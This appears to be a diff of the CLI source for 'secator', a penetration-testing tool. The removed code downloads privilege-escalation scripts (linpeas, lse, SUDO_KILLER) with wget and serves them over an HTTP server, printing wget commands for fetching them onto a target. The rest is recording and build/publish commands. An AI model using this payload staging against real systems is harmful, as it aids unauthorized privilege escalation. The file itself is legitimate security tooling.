- LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
705
- LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
706
- SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/V3/SUDO_KILLERv3.sh'
707
- PAYLOADS = [
708
- {
709
- 'fname': 'lse.sh',
710
- 'description': 'Linux Smart Enumeration',
711
- 'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
712
- },
713
- {
714
- 'fname': 'linpeas.sh',
715
- 'description': 'Linux Privilege Escalation Awesome Script',
716
- 'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
717
- },
718
- {
719
- 'fname': 'sudo_killer.sh',
720
- 'description': 'SUDO_KILLER',
721
- 'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
722
- }
723
- ]
724
- for ix, payload in enumerate(PAYLOADS):
725
- descr = payload.get('description', '')
726
- fname = payload['fname']
727
- if not os.path.exists(f'{directory}/{fname}'):
728
- with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
729
- cmd = payload['command']
730
- console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
731
- Command.execute(cmd, cls_attributes={'shell': True}, cwd=directory)
732
- console.print()
733
-
734
- console.print(Rule())
735
- console.print(f'Available payloads in {directory}: ', style='bold yellow')
736
- for fname in os.listdir(directory):
737
- if not host:
738
- host = detect_host(interface)
739
- if not host:
740
- console.print(
741
- f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
742
- style='bold red')
743
- return
744
- payload = find_list_item(PAYLOADS, fname, key='fname', default={})
745
- fdescr = payload.get('description', 'No description')
746
- console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
747
- console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
748
- console.print('')
749
- console.print(Rule())
750
- console.print(f'Started HTTP server on port {port}, waiting for incoming connections ...', style='bold yellow')
751
- Command.execute(f'{sys.executable} -m http.server {port}', cwd=directory)
752
-
753
-
754
- @utils.command()
755
- @click.argument('record_name', type=str, default=None)
756
- @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
757
- @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
758
- @click.option('--width', '-w', type=int, default=None, help='Recording width')
759
- @click.option('--height', '-h', type=int, default=None, help='Recording height')
760
- @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
761
- def record(record_name, script, interactive, width, height, output_dir):
762
- """Record secator session using asciinema."""
763
- # 120 x 30 is a good ratio for GitHub
764
- width = width or console.size.width
765
- height = height or console.size.height
766
- attrs = {
767
- 'shell': False,
768
- 'env': {
769
- 'RECORD': '1',
770
- 'LINES': str(height),
771
- 'PS1': '$ ',
772
- 'COLUMNS': str(width),
773
- 'TERM': 'xterm-256color'
774
- }
775
- }
776
- output_cast_path = f'{output_dir}/{record_name}.cast'
777
- output_gif_path = f'{output_dir}/{record_name}.gif'
778
-
779
- # Run automated 'story' script with asciinema-automation
780
- if script:
781
- # If existing cast file, remove it
782
- if os.path.exists(output_cast_path):
783
- os.unlink(output_cast_path)
784
- console.print(f'Removed existing {output_cast_path}', style='bold green')
785
-
786
- with console.status('[bold gold3]Recording with asciinema ...[/]'):
787
- Command.execute(
788
- f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
789
- cls_attributes=attrs,
790
- raw=True,
791
- )
792
- console.print(f'Generated {output_cast_path}', style='bold green')
793
- elif interactive:
794
- os.environ.update(attrs['env'])
795
- Command.execute(f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}')
796
-
797
- # Resize cast file
798
- if os.path.exists(output_cast_path):
799
- with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
800
- with open(output_cast_path, 'r') as f:
801
- lines = f.readlines()
802
- updated_lines = []
803
- for ix, line in enumerate(lines):
804
- tmp_line = json.loads(line)
805
- if ix == 0:
806
- tmp_line['width'] = width
807
- tmp_line['height'] = height
808
- tmp_line['env']['SHELL'] = '/bin/sh'
809
- lines[0] = json.dumps(tmp_line) + '\n'
810
- updated_lines.append(json.dumps(tmp_line) + '\n')
811
- elif tmp_line[2].endswith(' \r'):
812
- tmp_line[2] = tmp_line[2].replace(' \r', '')
813
- updated_lines.append(json.dumps(tmp_line) + '\n')
814
- else:
815
- updated_lines.append(line)
816
- with open(output_cast_path, 'w') as f:
817
- f.writelines(updated_lines)
818
- console.print('')
819
-
820
- # Edit cast file to reduce long timeouts
821
- with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
822
- Command.execute(
823
- f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
824
- cls_attributes=attrs,
825
- raw=True,
826
- )
827
- if os.path.exists(f'{output_cast_path}.tmp'):
828
- os.replace(f'{output_cast_path}.tmp', output_cast_path)
829
- console.print(f'Edited {output_cast_path}', style='bold green')
830
-
831
- # Convert to GIF
832
- with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
833
- Command.execute(
834
- f'agg {output_cast_path} {output_gif_path}',
835
- cls_attributes=attrs,
836
- )
837
- console.print(f'Generated {output_gif_path}', style='bold green')
838
-
839
-
840
- @utils.group('build')
841
- def build():
842
- """Build secator."""
843
- pass
844
-
845
-
846
- @build.command('pypi')
847
- def build_pypi():
848
- """Build secator PyPI package."""
849
- if not DEV_PACKAGE:
850
- console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
851
- sys.exit(1)
852
- if not BUILD_ADDON_ENABLED:
853
- console.print('[bold red]Missing build addon: please run `secator install addons build`')
854
- sys.exit(1)
855
- with console.status('[bold gold3]Building PyPI package...[/]'):
856
- ret = Command.execute(f'{sys.executable} -m hatch build', name='hatch build', cwd=ROOT_FOLDER)
857
- sys.exit(ret.return_code)
858
-
859
-
860
- @build.command('docker')
861
- @click.option('--dev', '-dev', is_flag=True, default=False, help='Build dev version')
862
- def build_docker(dev):
863
- """Build secator Docker image."""
864
- version = 'dev' if dev else VERSION
865
- with console.status('[bold gold3]Building Docker image...[/]'):
866
- ret = Command.execute(f'docker build -t freelabz/secator:{version} .', name='docker build', cwd=ROOT_FOLDER)
867
- sys.exit(ret.return_code)
868
-
869
-
870
- @utils.group('publish')
871
- def publish():
872
- """Publish secator."""
873
- pass
874
-
875
-
876
- @publish.command('pypi')
877
- def publish_pypi():
878
- """Publish secator PyPI package."""
879
- if not DEV_PACKAGE:
880
- console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
881
- sys.exit(1)
882
- if not BUILD_ADDON_ENABLED:
883
- console.print('[bold red]Missing build addon: please run `secator install addons build`')
884
- sys.exit(1)
885
- os.environ['HATCH_INDEX_USER'] = '__token__'
886
- hatch_token = os.environ.get('HATCH_INDEX_AUTH')
887
- if not hatch_token:
888
- console.print('[bold red]Missing PyPI auth token (HATCH_INDEX_AUTH env variable).')
889
- sys.exit(1)
890
- with console.status('[bold gold3]Publishing PyPI package...[/]'):
891
- ret = Command.execute(f'{sys.executable} -m hatch publish', name='hatch publish', cwd=ROOT_FOLDER)
892
- sys.exit(ret.return_code)
893
-
894
-
895
- @publish.command('docker')
896
- @click.option('--dev', '-dev', is_flag=True, default=False, help='Build dev version')
897
- def publish_docker(dev):
898
- """Publish secator Docker image."""
899
- version = 'dev' if dev else VERSION
900
- with console.status('[bold gold3]Publishing PyPI package...[/]'):
901
- ret = Command.execute(f'docker push freelabz/secator:{version}', name='docker push', cwd=ROOT_FOLDER)
902
- sys.exit(ret.return_code)
903
-
904
-
905
885
  #------#
906
886
  # TEST #
907
887
  #------#
@@ -909,11 +889,11 @@ def publish_docker(dev):
909
889
 
910
890
  @cli.group(cls=OrderedGroup)
911
891
  def test():
912
- """Tests."""
892
+ """[dim]Run tests."""
913
893
  if not DEV_PACKAGE:
914
894
  console.print('[bold red]You MUST use a development version of secator to run tests.[/]')
915
895
  sys.exit(1)
916
- if not DEV_ADDON_ENABLED:
896
+ if not ADDONS_ENABLED['dev']:
917
897
  console.print('[bold red]Missing dev addon: please run `secator install addons dev`')
918
898
  sys.exit(1)
919
899
  pass